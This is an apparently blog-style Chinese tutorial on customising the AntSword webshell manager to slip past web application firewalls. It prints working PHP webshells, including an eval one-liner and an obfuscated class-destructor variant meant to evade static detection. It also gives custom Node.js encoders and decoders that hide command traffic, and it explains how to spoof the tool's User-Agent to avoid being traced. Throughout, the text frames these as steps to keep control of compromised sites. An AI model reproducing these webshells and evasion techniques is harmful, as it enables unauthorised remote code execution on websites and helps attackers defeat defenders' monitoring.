0x00前言
当我们已经上传后门(一句话木马或者大马等)至目标站点后,虽然可以通过手工获取想要的信息,例如构造www.xx.com/?file=test.phpPOST请求cmd=phpinfo();但是未免费时费力,当然有需要的地方就会有市场,网上也存在几款非常友好且功能强大的webshell管理工具:
“菜刀”:https://github.com/admintony/BypassCaiDao
“蚁剑”:https://github.com/2Quico/antSword
蚁剑加载器:https://github.com/AntSwordProject/AntSword-Loader
“冰蝎”:Behinder_v3.0_Beta_11.t00ls.zip
当然由于菜刀已经过时了,基本上见光死,本来冰蝎就是双向动态加密传输,可以对抗大多数waf,但是会存在一些弱特征,强特征等,通过流量分析转换成自动化检测,也可以左到冰蝎流量检测的,比如密钥交互特征,改造后waf基本上是无法检测到的
因为冰蝎是不开源的,所以改造的话需要反编译源码,然后先修bug然后再改造,加上本人不太熟悉java,所以…..就有了本文
0x01关于蚁剑
中国蚁剑采用了Electron作为外壳,ES6作为前端代码编写语言,搭配Babel&&Webpack进行组件化构建编译,外加iconv-lite编码解码模块以及superagent数据发送处理模块还有nedb数据存储模块,组成了这个年轻而又充满活力的新一代大杀器。
蚁剑的工作原理:
官方为我们提供了制作好的后门,均作了不同程度的变异,但是因为蚁剑的核心代码是菜刀修改来的,所以普通的一句话木马同样可以使用:在PHP中使用assert、eval函数执行;ASP中使用eval;而在JSP中使用的是java类加载(ClassLoader),同时会带有base64等一系列字符编码解码特征
具备自定义修改请求头,添加证书,设置代理,传输数据单项加密,扩展性强(具备插件商店),功能性好等优点
0x02蚁剑动态特征分析
总所周知,蚁剑所有脚本的源代码均来自菜刀,所以流量特征也和菜刀差不多,直接愣头青过waf基本是天方夜谭了
这里我们还是使用一句话菜刀的webshell
<?php$a=$_GET['x'];$$a=base64_decode($_GET['a']);$b(base64_decode($_POST['x']));?>
在默认编码时连接webshell
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。
正常来说“ 响应包的结果返回格式为 随机数 结果 随机数”,但是作者这里出现了点问题,如图下:
Warning警告了,于是我拿着这个疑问,正当我百思不得其解的时候,有一篇文章直接揭开了我的疑惑
没错,还是assert()函数的问题
关于assert函数
官方文档:https://www.php.net/manual/zh/function.assert.php
当PHP版本<7.0的时候:assert会将传入的参数当作PHP代码区执行,这个参数可以是一个函数或者表达式,也可以是一个字符串
在参数时字符串的时候则对其中的PHP代码语法要求不严格,但对于多句PHP代码组成的字符串只回执行第一句,如果字符串中PHP代码存在语法错误,则所有PHP代码就都不执行
当PHP版本>=7.0的时候:assert在更新后无法将使用字符串作为参数,而传入GET或POST的数据默认类型就是字符串,就导致了assert不再适合直接写马
而且assert无法执行关于echo的代码,同语言构造器的print却可以使用
test01.php:
<?php
assert('print(123)');
echo '<br>';
assert('echo(123)');
?>
关于eval函数
官方文档:https://www.php.net/manual/zh/function.eval.php**eval**(string $code): [mixed](https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed)
把字符串code作为PHP代码执行,字符串中可以包含多句PHP代码,所有PHP代码均会被执行,和assert一样,如果存在语法错误,则整个PHP代码就不会被执行
可以存在闭合的PHP代码标签,且没有assert的奇怪特性,可以正常执行echo的代码
测试连接webshell:
可以看到蚁剑随机生成的POST变量名的,且值为base64加密,直接拿去解密
可以看到是有多条PHP代码构成,且使用了echo语句,
那么可以得出结论:
对于get值作为马的连接密码的webshell不可连接,蚁剑探测马只能是以post方式进行探测
对于仅仅使用assert的webshell也无法连接,因为蚁剑采用探测的语句由多条PHP代码组成,且使用了echo,assert只能执行第一条PHP代码,且不支持echo
但是只要webshell中存在eval特征就会被waf给拦截掉,前面也提到了,waf会检测流量特征,分析是否含有关键字等敏感信息
所以就有了编码器和解码器,进行流量混淆等等可绕过waf,并且蚁剑的编码解码器支持自定义,使用node.js编写即可,简单提一嘴他们的作用:
- 编码器:对发送的流量进行编码,服务端进行解码
- 解码器:服务端对返回流量密码编码,需要客户端通过解码器节码还原流量接收
不难看出,一个发送时候加密,一个返回时候解密,这样才能达到动态过waf的目的,但是原版的蚁剑存在一个问题,只支持php编码解码,想要支持asp``aspx需要自己手动改造
即使我们加密base64、chr也会留下eval特征
这个时候就需要我们自定义编码器和解码器,当然蚁剑官方的编码器扩展
https://github.com/AntSwordProject/AwesomeEncoder
这里以aes_127_ecb_zero_padding.js为例
添加到编码扩展后,设置好编码
直接连接,抓取数据包查看
可以看到已经无法找到我们设置的eval关键字了,这里只是简单提一嘴
除此之外,蚁剑自带的编码器其实过waf还是很勉强的,因为他的webshell脚本是最原始的一句话:<?php @eval($_POST['x']);?>
tips:
但根据上面提到的编码器的作用,可以得知,服务端需要进行解码才能正常接收,那么像这种一句话是没有办法解码的,所以会将解码函数一同发到服务端,这几个解码函数是没有办法加密的,这就是一个特征
0x03修改蚁剑默认请求头
不仅如此,默认情况下蚁剑发送数据的时候,请求头中不但存在未及时加密的解码函数,还存在大部分漏扫工具的疏忽点,就是想服务器发送请求的时候:UA还是默认User-Agent: antSword/v2.0这就导致有些时候,明明成功上传webshell,却迟迟无法连接的原因,有可能是我们的连接请求被waf给拦截了(溯源也简单)
虽然蚁剑在添加shell的时候提供了自定义的heard头功能,但是每创建一个新的连接,就需要添加,很是麻烦,所以我们选择找到蚁剑的源文件中更改:antSword-2.0.4/modules/request.js
将百度爬虫的UA添加到const USER_AGENT中
还有antSword-2.0.4/modules/update.js
也改成百度爬虫的UA,然后我们保存后再次请求抓包查看:
可以看到,带有蚁剑特征的UA已经被替换了
0x04分析蚁剑编码模块
前面使用的默认编码分析流量,这里换成base64测试一下
下面可以看到连同解码函数一同发送给服务器了,但是其中可以看到关键字eval,不用想 这样肯定过不了waf
前面也提过,编码器和解码器是用node.js编写得,所以我们分析一下编码器得输出形式:
/**
* php::base64编码器
* Create at: 2022/06/08 15:58:02
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
有三个输入参数:pwd:连接密码,类型stringdata:串数数据数组,类型string数组ext:一些扩展选项,一些常见可能会用到
一个输出参数:data:编码器处理后得数组,可以通过代理抓包查看post提交了哪些内容,和这里的是data是一样得
所以data[pwd]里面就是编码得解码代码,data[randomID]为源代码得base64编码后的数据,randomID变量是post数据包里随机得变量名,存放data[randomID]
最后删掉data里原有的data['_']
如果编码器啥也不选default也会处理,写在源码source\core\base.js
相比现在应该清楚了编码器流量传输的过程吧,自带编码器是之间将编码代码和解码函数一同传入post数据包,那么我们将解码代码写入webshell里,是不是实现全部数据完全编码传输了嘛
实例webshell:<?php $eval(base64_decode($_POST['u']));?>
修改一下编码器源码,使其不具备解码代码,且代码全部编码
这样我们就可以实现再发送数据的时候实现全编码,且webshell解析数据的时候会还原,这样就可以过掉waf流量检测这一关了,当然你同样可以自己创造出属于自己的编码方式,只需要再webshell里设置好解码函数还原即可。
但是我们的webshell并不能静态过waf
所以需要给他变形,使其免杀
<?php
/* 用户操作类 */
class User
{
public $name = '';
public $config = null;
function __destruct(){
@eval("".$config."$this->name;");
}
}
// 生成用户
$user = new User;
// 传递用户信息
$c = base64_decode($_POST['ustinain']);
$user->name = ''.$c;
?>
声明一个类,定义了User类,俩个成员变量都为空,通过外部创建user对象,且给成员方法赋值,然后调用类中的析构方法(反序列化中讲过,当类被销毁的时候,自动调用的魔术方法)从而执行eval,但是其中""和$config只是起到干扰作用
之间发包,这个时候解码函数是再webshell的 ,这一点要清楚
将蚁剑生成的编码代码复制到浏览器请求的话,可以看到服务端时是返回了一串字符串
这个时候已经显示成功了,获取到了对方网站的权限
大致原理就是这么多,至于后面遇见如何腻害的waf,就发挥自己天马行空的想象力,见招拆招了,编写属于自己的骚编码器了,亦如填写垃圾数据,反复加密,甚至倒序等等
0x05分析蚁剑解码模块
前面成功通过编码模块对数据进行加密,成功绕过waf,不过还是可以看出返回数据是明文传输的,为什么没有拦截,只能说这个waf比较水,万一碰见更严格的waf,我们就需要使用解码器对返回的数据进行加密。
很多新手朋友在使用蚁剑时都会认为编码器和解码器是成对存在的,使用了base64编码器就必须使用base64解码器,其实不是这样的,编码器和解码器除了名字有点类似,在使用时毫无关系(RAS和AES加密方式的编码器和解码器除外)。
首先呢,还是要分析一下解码器的构造,这里有俩个方法:asoutput和decode_buffasoutput无需传入参数,返回一段php代码字符串,名称为asenc的函数,这个会放在请求包里,再服务段执行完代码后,再回显部分调用该函数asenc来编码处理,所以服务段无需针对解码做改动。
上面return {string}asenc是返回数据base64编码,为什么自定义输出函数明必须为asenc呢,因为再传输之前,蚁剑会将我们第一个框中的函数替换为我们编码器中编写的函数,然后后再第二个框中调用我们解码器中的asenc函数进行解码
这个原理应该解释很清楚了吧,这是自带的base64解码器的返回结果:
当然,如果waf有base64解码,那么很显然这个就不安全,不过这个安全狗并不具备这个功能。
下面按照这个方式编写一个混淆的解码器
/**
* php::自定义base64解码器
* Create at: 2022/06/12 13:58:54
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return 'ustinain'.@base64_encode($out).'ustinain';
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString().replace(/ustinain/g,""), 'base64');
}
}/**
* php::自定义base64解码器
* Create at: 2022/06/12 11:55:04
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
//可以再返回的时候添加一个随机字符串,避免被waf解码
return 'Ustinain'.@base64_encode($out).'Ustinain';
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
//前面都添加了一个随机字符串了,这里我们肯定需要去除然解码
let result = Buffer.from(data.toString().replace(/Ustinain/g,''), 'base64')
return result;
}
}
添加了’Ustinain’字符串进行混淆,这样只有我们客户端能够解码成功,waf无从下手
无设置解码器的返回结果:
使用base64解码器后:
使用自定义编码器混淆后:
同样,原理大致就是这样了,至于后面遇见如何腻害的waf,就发挥自己天马行空的想象力,见招拆招了,编写属于自己的骚解码器了
0x06蚁剑的通病
通过前面对蚁剑的初步改造,我们传输的数据已经可以做到绕过waf了,但是我们输入的命令参数等,只有浅浅的一层base加密,waf无需对我们主payload进行解密,只需要简单的解密一下我们的命令参数,那么我们将暴露无遗
在最后
参考文章:
https://xz.aliyun.com/t/7735#toc-3
除了使用常规的编码,乱序操作去写编码器和解码器,还可以使用对称加密,非对称加密等算法写编码器和解码器来逃避waf的流量检测,这种做法其实和冰蝎就很类似了。这种思路对应的文章请看这两篇:
